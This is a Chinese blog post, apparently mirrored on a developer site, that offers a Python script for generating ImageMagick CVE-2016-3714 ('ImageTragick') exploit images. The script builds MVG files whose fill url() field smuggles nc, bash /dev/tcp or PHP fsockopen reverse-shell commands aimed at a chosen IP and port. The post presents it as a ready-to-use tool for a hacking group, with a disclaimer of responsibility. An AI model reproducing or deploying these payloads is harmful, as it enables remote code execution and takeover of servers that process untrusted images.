php imagemagick 漏洞,ImageMagick漏洞EXP简易生成脚本

前几天看到爆出了关于ImageMagick的远程执行漏洞(CVE-2016-3714),所以为了Evil0x.COM核心成员使用,写了一个exp生成脚本供大家使用。(免责声明,出了事我不管)

总体来说这个脚本有三个功能

生成针对NC反弹

生成针对bash反弹

生成针对php反射

服务端都可以使用nc侦听,会反弹shell。生成图片默认exp.png 后缀可以自由更改为其他的图片格式

什么叫做shell反弹?

reverse shell,又称shell反弹或shell反射,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

作者:莫旭友

链接:http://www.zhihu.com/question/24503813/answer/28088923

来源:知乎,稍有改动

以上,放出源代码。

文件下载:

imagemagic_exp.zip

# -*-coding:utf-8-*-#!/usr/bin/env python#imagemagic_exp.py import argparse class payload(object): """ building payload,you must input shell typle and server ip and port CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats """ def __init__(self, shelltype,ip,port): #super(_paload, self).__init__() self.shelltype = shelltype self.ip = ip self.port =port self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port self.bash= 'bash -i >& /dev/tcp/' + self.ip + '/' + self.port +' 0>%1' self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i &3 2>&3\");'" %(self.ip,self.port) self.shell_dict={ 'nc': self.nc, 'bash': self.bash, 'php': self.php } def payloadbuild(self): """ push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")' pop graphic-context """ if self.shelltype =='nc': self.shell =self.shell_dict['nc'] if self.shelltype=='bash': self.shell =self.shell_dict['bash'] if self.shelltype=='php': self.shell =self.shell_dict['php'] self.shellcode="fill 'url(https://example.com/image.jpg\"|"+self.shell+ " \")\' " payload =[] payload.append('push graphic-context') payload.append('viewbox 0 0 640 480') payload.append(self.shellcode) payload.append('pop graphic-context') return payload #touch a jpg image def newimage(self): with open('exp.jpg', 'w') as file: for item in self.payloadbuild(): file.write(item+'\n') if __name__=='__main__': parse =argparse.ArgumentParser() parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true") parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true") parse.add_argument("--php",help="生成可执行php射的图片",action="store_true") parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1') parse.add_argument("--port",help="反弹shell的port",default='8888') args=parse.parse_args() if args.nc: test=payload('nc', args.ip, args.port) test.newimage() if args.bash: test=payload('bash', args.ip, args.port) test.newimage() if args.php: test=payload('php', args.ip, args.port) test.newimage()

本文原创发布php中文网,转载请注明出处,感谢您的尊重!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值